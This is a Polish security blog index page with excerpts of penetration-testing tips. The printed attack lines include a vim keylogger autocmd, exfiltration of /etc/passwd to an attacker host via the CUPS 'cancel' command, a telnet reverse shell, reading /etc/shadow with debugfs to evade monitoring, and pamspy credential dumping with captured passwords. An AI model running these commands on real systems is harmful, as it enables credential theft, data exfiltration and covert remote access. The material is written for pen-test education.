NFsec Logo

Instalowanie tylnych wejść w kluczach OpenSSH

25/05/2023 w Bezpieczeństwo, Pen Test Możliwość komentowania Instalowanie tylnych wejść w kluczach OpenSSH została wyłączona

O

penSSH – Secure Shell Server zapewnia bezpieczny, szyfrowany zdalny dostęp do systemów *niksowych. Po stronie serwera znajduje się plik authorized_keys w katalogu .ssh (głównym folderze użytkownika), w którym można skonfigurować uwierzytelnianie za pomocą klucza publicznego. Przy normalnej konfiguracji użytkownik uzyskuje pełny dostęp do systemu, w którym skonfigurowano uwierzytelnianie. Jednak w niektórych przypadkach, takich jak automatyczne operacje na zdalnych serwerach (np. wdrażanie kodu, tworzenie kopii zapasowych, uruchamianie konkretnych skryptów), sensowne jest ograniczanie dostępu do kilku lub nawet jednego polecenia. Oprócz ograniczenia poleceń dla danego użytkownika zapobiegamy również kompromitacji zdalnego serwera w przypadku przejęcia klucza prywatnego.
[ czytaj całość… ]

Reverse WHOIS

20/04/2023 w Pen Test Możliwość komentowania Reverse WHOIS została wyłączona

J

akiś czas temu zapoznaliśmy się z danymi rejestracyjnymi nazw domenowych WHOIS. Ich odwrotnością są bazy, które oprócz nazw domenowych indeksują inne metadane, aby później na ich podstawie zidentyfikować inne domeny. Tak działają właśnie bazy reverse whois – odnoszą się do pobierania wszystkich dostępnych informacji o określonej nazwie domeny. Możemy na przykład użyć dowolnej informacji zwykle widocznej w typowym rekordzie WHOIS (np. nazwisko właściciela domeny, nazwę firmy, adres e-mail itp.), aby wyszukać wszystkie nazwy domen, które mają te same metadane. Pomyślmy o tym w ten sposób: nie musimy już grzebać w rekordach DNS, aby ustalić jakie inne domeny należą do firmy “X”. Wystarczy, że znamy jej główną domenę. Za pomocą polecenia whois dla tej domeny możemy skupić się na charakterystycznej informacji i sprawdzić z jakimi innymi domenami jest ona jeszcze powiązana. Przykład:

whois hackergathering.com
...
Registrant Organization: Cyber Illuminati
Registrant Country: PL
...

Jeśli teraz przeszukamy bazy reverse whois szukając wartości rekordu: Cyber Illuminati w polu Owner name / Company name to powinniśmy otrzymać wszystkie inne domeny, które zostały założone przez organizację CI. Przykład – John Smith jest właścicielem 45,755 domen. Z kolei po adresie e-mail rejestratora Aftermarket możemy zobaczyć domeny za jakie jest odpowiedzialny, czy jakie domeny posiada firma OVH.

Więcej informacji: Whoxy, WhoisXML, DomainTools, ViewDNS, ReverseWhois

Zamieniamy vim w keylogger

06/03/2023 w Pen Test Możliwość komentowania Zamieniamy vim w keylogger została wyłączona

Jeśli dodamy poniższą linijkę do pliku ~/.vimrc lub ~/.vim/plugins/keylogger.vim:

:autocmd BufWritePost * :silent :w! >> /dev/shm/keylogger.txt

To wszystkie wpisane dane wpisane w edytorze wylądują w pliku /dev/shm/keylogger.txt. Dla osób stojących po drugiej stronie wojny edytorów – jeśli do pliku ~/.nanorc lub /etc/nanorc wpisy:

set backup
set backupdir /dev/shm
set allow_insecure_backup

To kopie zapasowe edytowanych plików wylądują w katalogu /dev/shm/:

root@stardust:~# ls -al /dev/shm/
total 8
drwxrwxrwt  2 root root   80 Mar  6 20:17  .
drwxr-xr-x 18 root root 4120 Feb 11 17:58  ..
-rw-r-----  1 root root   31 Mar  6 20:09  keylogger.txt
-rw-r-----  1 root root   22 Mar  6 20:09 '!root!passwords.txt~'

Jeśli pliki konfiguracyjne mają zostać pominięte przy uruchomieniu wystarczy uruchomić je z opcjami:

nano -R [plik]
vim -u NONE [plik]

Więcej informacji: Alh4zr3d on Twitter

Eksfiltracja danych na serwerze lub kliencie wydruku

19/02/2023 w Pen Test Możliwość komentowania Eksfiltracja danych na serwerze lub kliencie wydruku została wyłączona

Na przejętej maszynie, z której chcemy wyprowadzić jakieś dane (tutaj: /etc/passwd), a posiada ona pakiet cups-client lub lprng zapewniający programy klienckie wydruku w stylu System V – możemy wykonać polecenie:

cancel -u "$(cat /etc/passwd | base64)" -h 10.0.0.1:31337

Na zdalnej maszynie (o adresie IP: 10.0.0.1), na której prowadzimy odbiór danych powinniśmy zobaczyć:

root@darkstar:~# nc -nlvp 31337
Listening on 0.0.0.0 31337
Connection received on 10.0.0.2 45280
POST /admin/ HTTP/1.1
Content-Length: 2650
Content-Type: application/ipp
Date: Sun, 19 Feb 2023 21:40:29 GMT
Host: 10.0.0.1:31337
User-Agent: CUPS/2.4.1 (Linux 5.15.0-58-generic; x86_64) IPP/2.0
Expect: 100-continue

9Gattributes-charsetutf-8Httributes-natural-languageen-usE
printer-uriipp://localhost/printers/Brequesting-user-name     
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv
c2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9n
aW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5
bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmlu
L25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4K
bHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODpt
YWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9v
bC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVj
cDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25v
bG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dp
bgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxp
c3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9n
aW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0
MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91
c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6
L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jp
bi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFn
ZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4
OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9n
aW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpz
eXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCws
Oi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9j
YWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vz
ci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9u
b2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3Bk
dW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDox
MTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2Fw
ZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6
eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9n
aW4KYWdyZXNvcjp4OjEwMDA6MTAwMDphZ3Jlc29yOi9ob21lL2FncmVzb3I6L2Jpbi9iYXNoCmx4
ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJl
ZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9z
YmluL25vbG9naW4K"my-jobs"

Więcej informacji: Alh4zr3d on Twitter, File upload (GTFOBins), cancel(1)

Chowamy dowolny proces w systemie za pomocą polecenia mount

17/12/2022 w Pen Test Możliwość komentowania Chowamy dowolny proces w systemie za pomocą polecenia mount została wyłączona

P

oniżej zaprezentuje, jak za pomocą polecenia mount ukryć dowolny proces w systemie przed takim poleceniem jak np. ps. Dokonamy tego dzięki funkcji bind. Klasyczne montowanie tworzy widok urządzenia pamięci masowej jako drzewa katalogów. Funkcja bind zamiast tego pobiera istniejące drzewo katalogów i replikuje je w innym punkcie. Montując katalog w ten sposób możemy myśleć o montowaniu jak o aliasie do innej ścieżki. Katalogi i pliki w są takie same jak w oryginale. Każda modyfikacja po jednej stronie jest natychmiast odzwierciedlana po drugiej stronie, ponieważ oba widoki przedstawiają te same dane. Na przykład, kiedy powiążemy katalog /tmp/narf z /tmp/nfsec, oba będą odwoływać się do tych samych danych:
[ czytaj całość… ]

Alternatywne otwieranie plików pod radarem XDR i SIEM

11/12/2022 w Pen Test Możliwość komentowania Alternatywne otwieranie plików pod radarem XDR i SIEM została wyłączona

root@darkstar:~# debugfs
debugfs 1.44.1 (24-Mar-2018)
debugfs:  open /dev/vda1
debugfs:  cd /etc
debugfs:  cat shadow
root:$6$HeeGzA.awU7P35OuN6GbBHl7yAwIDmelemelekIiaGLVYA8/hNKI1:19290:0:99999:7:::

Więcej informacji: 0xm1rch

Reverse shell z telnet

12/11/2022 w Pen Test Możliwość komentowania Reverse shell z telnet została wyłączona

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh

Więcej informacji: Alh4zr3d on Twitter

1001 Pen Test oraz Bug Bounty Tips & Tricks #6 – Korelacja czasowa ważności certyfikatu

08/10/2022 w Pen Test Możliwość komentowania 1001 Pen Test oraz Bug Bounty Tips & Tricks #6 – Korelacja czasowa ważności certyfikatu została wyłączona

W

iele nowoczesnych serwisów internetowych stosuje automatyczne wydawanie i odnawianie certyfikatów TLS. Dla firm dostępne są usługi komercyjnych wystawców SSL. Dla wszystkich innych dostępne są bezpłatne usługi, takie jak Let’s Encrypt i ZeroSSL. Jednak bardzo często popełniany jest błąd w sposobie w jaki konfiguruje się wdrożenie darmowych wersji certyfikatów TLS. Pozwala on każdemu odkryć prawie wszystkie nazwy domen i subdomen używanych przez ten sam serwer webowy. Jak wiemy, istnieje takie coś jak Certyficate Transparency (CT), czyli internetowy standard bezpieczeństwa służący do monitorowania i audytu wystawiania certyfikatów TLS. Tworzy on system logów publicznych, które służą do rejestrowania wszystkich certyfikatów wydawanych przez publicznie zaufane urzędy certyfikacji (CA). Do przeszukiwania dzienników CT możemy używać serwisów: crt.sh, certstream, a także Censys, który również pozwala na przeszukiwanie wyników skanowania certyfikatów w internecie.
[ czytaj całość… ]

pamspy – zrzucacz poświadczeń dla Linuksa

14/07/2022 w Bezpieczeństwo, Pen Test Możliwość komentowania pamspy – zrzucacz poświadczeń dla Linuksa została wyłączona

N

arzędzie pamspy jest programem, który został zainspirowany przez podobną pracę, ale stworzoną znacznie wcześniej (Brendon Tiszka poczynił to dzieło na swoich studiach): 3snake. W przeciwieństwie do swojego poprzednika nie korzysta już z mechanizmu odczytu pamięci wywołań systemowych sshd i sudo, które obsługują uwierzytelnianie oparte na hasłach, ale wykorzystuje technologię eBPF. Dzięki temu jest w stanie śledzić konkretną funkcję w przestrzeni użytkownika wewnątrz biblioteki PAM (ang. Pluggable Authentication Modules) używanej przez wiele krytycznych aplikacji (sudo, sshd, passwd, gnome, X11 itp.) do obsługi uwierzytelniania. Ponieważ pamspy opiera się na libpam przed uruchomieniem programu musimy podać ścieżkę, gdzie biblioteka ta jest zainstalowana na naszej dystrybucji. W tym celu należy wydać następujące polecenie:

ldconfig -p | egrep -o '\/.*libpam\.so.*'

Po uzyskaniu ścieżki możemy uruchomić program:

sudo ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

Załaduje on program eBPF, aby podczepić się pod funkcję pam_get_authtok z libpam.so. Za każdym razem, gdy proces uwierzytelnienia spróbuje sprawdzić nowego użytkownika, wywoła on wspomnianą funkcję pam_get_authtok, a pamspy będzie na konsolę zrzucać zawartość krytycznych sekretów. Jeśli teraz w drugiej konsoli zalogujemy się do serwera i podniesiemy swoje uprawnienia program powinien odnotować ten fakt:

1500   | sshd            | agresor              | K0ci.0g0n
1528   | sudo            | agresor              | K0ci.0g0n
3815   | passwd          | agresor              | P5i3.U5zy

Jeśli chcemy przeprowadzić kompilację programu ze źródeł to wymaga on kilku pakietów (Ubuntu 22.04):

apt install git make clang-11 gcc libelf-dev pkg-config -y 
apt install linux-tools-common linux-tools-5.15.0-41-generic -y
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make

Nie musimy kompilować programu od podstaw, ponieważ w repozytorium jest już także plik zbudowany jako statyczna binarka bez żadnych zależności.

Więcej informacji: pamspy

eCapture – przechwytywanie SSL/TLS bez CA przy użyciu eBPF

25/05/2022 w Bezpieczeństwo, Pen Test Możliwość komentowania eCapture – przechwytywanie SSL/TLS bez CA przy użyciu eBPF została wyłączona

W

yobraźmy sobie, że nasz system został zainfekowany przerobionym i trudnym do wykrycia implantem sieciowym. W swojej przeróbce został on uzbrojony w moduł inwigilacji oparty o eCapture. Jest to zwinne narzędzie napisane w języku Go, które również wykorzystuje technologię eBPF. Umożliwia ona uruchamianie programów zamkniętych w piaskownicy jądra systemu operacyjnego. Dzięki temu potrafi przechwycić zaszyfrowaną komunikację sieciową bez konieczności “podpinania” Urzędu Certyfikacji (ang. Certificate Authority), któremu należy zaufać. Zamiast tego wpina się w funkcje SSL_write / SSL_read współdzielonej biblioteki SSL, aby uzyskać kontekst tekstowy i wysłać tak uzyskane wiadomości do przestrzeni użytkownika za pomocą map eBPF.
[ czytaj całość… ]